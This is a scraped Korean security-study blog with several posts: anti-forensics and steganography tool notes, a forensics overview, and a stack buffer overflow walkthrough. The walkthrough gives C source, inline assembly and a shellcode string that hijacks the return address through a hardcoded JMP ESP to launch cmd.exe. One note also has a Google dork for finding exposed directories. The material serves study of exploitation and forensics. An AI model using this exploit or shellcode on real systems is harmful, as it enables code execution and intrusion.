
파일시스템 포렌식  (0) 2019.07.29
윈도우 포렌식  (0) 2019.07.23
침해사고포렌식  (0) 2019.07.18
안티 포렌식  (0) 2019.07.11
디지털 포렌식 개요  (0) 2019.07.11

안티 포렌식

  • 디지털 포렌식을 방해하는 포렌식
  • 사용 흔적 삭제, 데이터 은닉, 데이터 암호화, 데이터 삭제
  • 분석 시간 방해, 증거 수집 방해                

문서파일

 

docx 압축파일 푸는 툴

7-ZIP을 통해 숨어있는 사진 찾기.

 

 

 

 

사진 폴더

 

 

사진 속에 들어있는 내용 찾기 (스테가노그래피)

 Stegsolve

https://29a.ch/photo-forensics/#forensic-magnifier

 

Forensically, free online photo forensics tools

Forensically is a set of free tools for digital image forensics. It includes clone detection, error level analysis, meta data extraction and more.

29a.ch

Hxd를 통해 이미지 복구 아래 시그니쳐를 통해 복구가능.

 

File Type  Header Signature  Footer Signature  Description
 ICO  00 00 01 00   –  Windows Icon Format
 CUR   00 00 02 00   –  Windows Cursor Format
 BMP, DIB  42 4D 
 B  M
 –  Windows Bitmap Format
 GIF  47 49 46 38 37 61 
 G   I  F   8   7  a
 00 3B
      ;
 Graphics Interchange Format
 GIF  47 49 46 38 39 61
 G   I  F   8   9  a
 00 3B
      ;
 Graphics Interchange Format
 TIF, TIFF  49 49 2A 
  I   I   *
 –  Tagged Image File Format (little endian)
 TIF, TIFF  4D 4D 2A 
 M  M  *
 –  Tagged Image File Format (big endian)
 PNG  89 50 4E 47 0D 0A 1A 0A
     P  N  G
 49 45 4E 44 AE 42 60 82
  I   E  N  D       B   `
 Portable Network Graphics Format
 JPEG/JFIF  FF D8 FF E0 xx xx 
 4A 46 49 46
 FF D9  JPEG/JFIF Format
 JPEG/EXIF  FF D8 FF E8 xx xx
 45 78 69 66
 FF D9  JPEG/Exif Format – Digital Camera  
 Exchangeable File Format
 WMF  D7 CD C6 9A  –  Windows Metafile Format
 EMF  01 00 00 00  –  Extended(Enhanced) Windows Metafile 
 Format Printer Spool File
 EPS  25 21 50 53 2D 41 64 6F 
 %  !   P  S  –   A  d  o 
 62 65 2D 
  b  e  –
 25 25 54 72 61 69 6C 65 72 
 %  % T   r   a   i   l   e   r
 0A
 (presumption)
 Adobe Encapsulated PostS

PDF  25 50 44 46 2D 31 2E         25 25 45 4F 46

MP3 49 44 33 03 (ID3)      offset 0x161B0

WAV 52 49 46 46(RIFF)  offset 0x118280

 

SmartDebulr

흐릿한 사진을 선명하게 바꿔주는 툴

 

malbolge로 만들어진 이미지를 해석해주는 사이트

https://www.bertnase.de/npiet/npiet-execute.php

base64로 암호화된 값을 얻는다.

 

말레볼제로 이루어진 값을 얻는데 

http://www.malbolge.doleczek.pl/ 이사이트에서 해독하면 된다.

 

OpenStego

사진안에 값을 넣을 수 있는 툴.

Open3D Model Viewer

3d사진에 숨겨있는 텍스트 찾을 때 쓰는 툴

 

sift3 리눅스 //우분투계열   포렌식툴이 많이 들어 있는 리눅스

 

forevid 

영상 프레임단위로 볼 수 있는 툴

이미지를 프레임단위로 끊어서 저장됨.

 

audacity

오디오에 숨겨진 내용을 찾는 툴

사운드 분석 툴

사람의 주파수는 2만Hz까지 들을 수 있는데 그위에다가 내용을 넣는 기법을 분석할 수있다.

 

 

또 다른 방법으로 모스부호를 표현할 수 도 있다.

 

이런식으로 검색하면 whoami에 대한 다운파일들이 나온다.

intitle: "index.of" intext:"whoami"

 

 

PDF에서 오디오파일 찾기.

MP3 49 44 33 03 (ID3)      offset 0x161B0

WAV 52 49 46 46(RIFF)  offset 0x118280

 

52 49 46 46 부분부터 맨 마지막까지 복사해서 새로 파일을 만들고

이름.wav로 저장하면 오디오파일이 생김.

 

만든 수정.wav파일을 audacity에 넣고 트랙 분할.

음악파일에 나오는 노래와 무관하게 건반음이 나오는 것을 확인

http://rumkin.com/tools/cipher/baconian.php 

 

Baconian Cipher

Francis Bacon created this method of hiding one message within another. It is not a true cipher, but just a way to conceal your secret text within plain sight. The way it originally worked is that the writer would use two different typefaces. One would be

rumkin.com

높은 음 : 1, B

낮은 음 : 0, A

 

실행시켜서 위의 공식에따라 2진수로 변환해 입력.

평문으로 변환해서 출력 된다.

http://dialabc.com/sound/detect/

 

Detect DTMF Tones

Detect DTMF Tones DialABC lets you find DTMF tones within audio clips. All you have to do is to upload an audio file to the dialabc web site using the form below. Our software then analyzes the audio recording and presents you with some statistics, a graph

dialabc.com

다이얼 음을 올려주면 알아서 몇번인지 해석해 준다.

하지만 몇번 눌렀는지는 나오지 않는다. 따라서 audacity를 통해 몇번 눌렀는지 확인

8 44 33 0 333 555 2 ~~
나온 숫자를 영어에 대입해 값을 찾는다.

 

'디지털 포렌식' 카테고리의 다른 글

파일시스템 포렌식  (0) 2019.07.29
윈도우 포렌식  (0) 2019.07.23
침해사고포렌식  (0) 2019.07.18
네트워크 포렌식  (0) 2019.07.15
디지털 포렌식 개요  (0) 2019.07.11

디지털 포렌식

 디지털 매체에 저장되어 있는 범죄와 관련된 증거 수집 -> 분석

 -> 과정 및 결과 보고서 작성 -> 법정 제출

 

아티팩트

- 운영체제, 응용 프로그램에 의해서 생성된 흔적 -> 디지털 포렌식 증거로 사용됨

 

디지털 포렌식 5대 원칙

  • 신속성
  • 무결성
  • 연계보관성
  • 정당성
  • 재현성                 

 

 

 

'디지털 포렌식' 카테고리의 다른 글

파일시스템 포렌식  (0) 2019.07.29
윈도우 포렌식  (0) 2019.07.23
침해사고포렌식  (0) 2019.07.18
네트워크 포렌식  (0) 2019.07.15
안티 포렌식  (0) 2019.07.11

스택의 기본구조

DATA
SFP
RET
arg1
arg2
arg3

 

 

 

 

c++소스

1-1

#include<stdio.h>
#include<string.h>


void func(char attack[])
{
	char buf[4];
	memcpy(buf,attack,512);  //memcpy 메모리 복사함수인데, attack의 값을 buf에 복사하는 것이다. 512는 바이트 수
	

}
int main()
{
	char attack[512] = "\0";
	memcpy(&attack[0],"aaaabbbbccccdddd",16);
	func(attack);
	return 0;
}

위의 소스를 실행하면 오류가난다. 

오류를 확인해보면 offset부분에 값이 cccc를 가르키고 있다.

 

aaaa [var] 
bbbb  [SFP]
cccc [RET]

이유는 스택으로보면,  지역변수가 buf[4]로 4바이트를 선언했다.

따라서 var에 4바이트가 최대이기 때문에 다차고 나면 스택에서 SFP -> RET 순으로 담기게 된다.

offset은 다음 실행할 명령어를 가리킨다. 즉, EIP의 값을 가져온다. 

EIP란 다음 실행할 명령어를 기억하는 레지스터이다.

RET은 EIP의 값을 가지고 있으므로 RET값 부분에 만약에 권한을 탈취하는 값이 들어가게 되면 그 코드가 실행되게 된다. 즉, 지역변수크기(var)+4(SFP) 이후의 값이 RET값이 된다. 

4바이트씩 끈어 계산하기 때문에, 

1,2,3,4 크기 전부 4로 계산

5,6,7,8 크기 전부 8로 계산   즉 4바이트 단위로 끈어서 계산한다.

 

디버거로 확인해보면 EIP의 값에 Offset값이 저장되는 것을 알 수 있다.

 

위의 내용을 활용하여 BOF 

 

모든 exe파일에는 kernel32와 ntdll이 존재한다. 

둘다 들어가서 Ctrl +F 를 눌러 JMP ESP 를 입력한다.

JMP ESP 는  MOV EIP,ESP를 의미한다.   즉 ,다음 실행될 명령어의 위치를 가리킨다.

BOF를 하기위해서는 이 주소의 값이 필요하기 때문이다.

7C971EED -> 8바이트를   4바이트로 넣어야된다. 따라서, 7C 97 1E ED 이런식으로 넣어야한다.

즉, \x7C\x97\x1E\xED 이런식으로 16진수로 표현하여 넣어주면된다.

 

그런데 윈도우나 이런 것들은 저장될 때 리틀엔디안 방식으로 저장되기 때문에 \xED\x1E\x97\x7C로 바꿔서 넣어줘야 한다.

 

위의 내용을 토대로 c++소스

 

1-2

#include<stdio.h>
#include<string.h>


void func(char attack[])
{
	char buf[4];    
	memcpy(buf,attack,512);
	

}
int main()
{
	char attack[512] = "\0";
	memcpy(&attack[0],"aaaabbbb",8); //dummy buf의 크기가 4이므로 4+4=8 이후의 값 RET에 가기위해 더미값으로 채움
	//7C971EED   FFE4             JMP ESP         
	memcpy(&attack[8],"\xED\x1E\x97\x7C",4); //Return address 리틀앤디안 방식으로 저장.
	memcpy(&attack[12],"AAAA",4);  //attack code
	func(attack);
	return 0;
}

위의 소스를 디버깅하다보면 , JMP ESP를 통해 ESP에 있는 AAAA값을 EIP로 옮겨준다. 따라서 AAAA가 실행이된다.

 

 

간단하게 cmd실행하는 코드

 

win32 application으로 프로젝트 생성

 

1-3

#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	char str[]="cmd.exe";
	WinExec(str,SW_SHOW);

	return 0;
}

 위 코드를 디버거로 실행

 

winmain함수이기에 GetModuleHadnleA 밑에 CALL함수를 찾아 들어간다.

들어가서 RETN을 제외하고 복사한다.

 

복사한 것을 컴파일러에 넣고, 아래와 같이 수정

1-4

// code.cpp : Defines the entry point for the application.
//
#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	__asm{
       PUSH EBP
       MOV EBP,ESP
       SUB ESP,8
       MOV DWORD PTR SS:[EBP-8],2E646D63h  //cmd.exe의 주소값을 리틀앤디안방식으로 변환해 4바이트씩넣는다.
   
       MOV DWORD PTR SS:[EBP-4],657865h  //위와 동일
       PUSH 5                                  
       LEA EDX,DWORD PTR SS:[EBP-8]            
       PUSH EDX                                 
       MOV EAX,7C86114Dh  //함수주소 값을 넣어준다.
	   CALL EAX
       XOR EAX,EAX
       MOV ESP,EBP
       POP EBP

//00405030  63 6D 64 2E 65 78 65 00  cmd.exe.

	}

	return 0;
}



 

함수 주소값은 WinExec의 위치에 마우스를 갖다대면 나온다.

 

실행하면 cmd창이 실행된다.  

 

 

어셈블러로 변환하구 컴파일한 소스를 다시 디버거 하여 복사한다.

binary코드로 변환해서 메모장에 복사 후 , \x를 붙여서 생성

위의 코드를  1-2코드 부분에 "AAAA" 에 넣는다.

#include "stdafx.h"
#include <stdio.h>
#include <string.h>
void func(char attack[])
{
	char buf[4];
	memcpy(buf, attack, 512);
}
int main()
{
	char attack[512] = "\0";
	memcpy(&attack[0], "aaaabbbb", 8); // dummy
	//7C971EED   FFE>JMP ESP
	memcpy(&attack[8], "\xED\x1E\x97\x7C", 4); // Return address 
	memcpy(&attack[12], "\x55\x8B\xEC\x83\xEC\x08\x36\xC7\x45\xF8\x63\x6D\x64\x2E\x36\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x36\x8D\x55\xF8\x52\xB8\x4D\x11\x86\x7C\xFF\xD0\x33\xC0\x8B\xE5\x5D", 60); // shellcode or payload
	func(attack);
	return 0;
}

 실행하면 오버플로우가 일어나 cmd가 실행되게 된다.

'모의해킹' 카테고리의 다른 글

취약 홈페이지를 통해 각종 공격 대응.  (0) 2019.06.28
취약한 홈페이지 구축  (0) 2019.06.18
apm구축  (0) 2019.06.18

+ Recent posts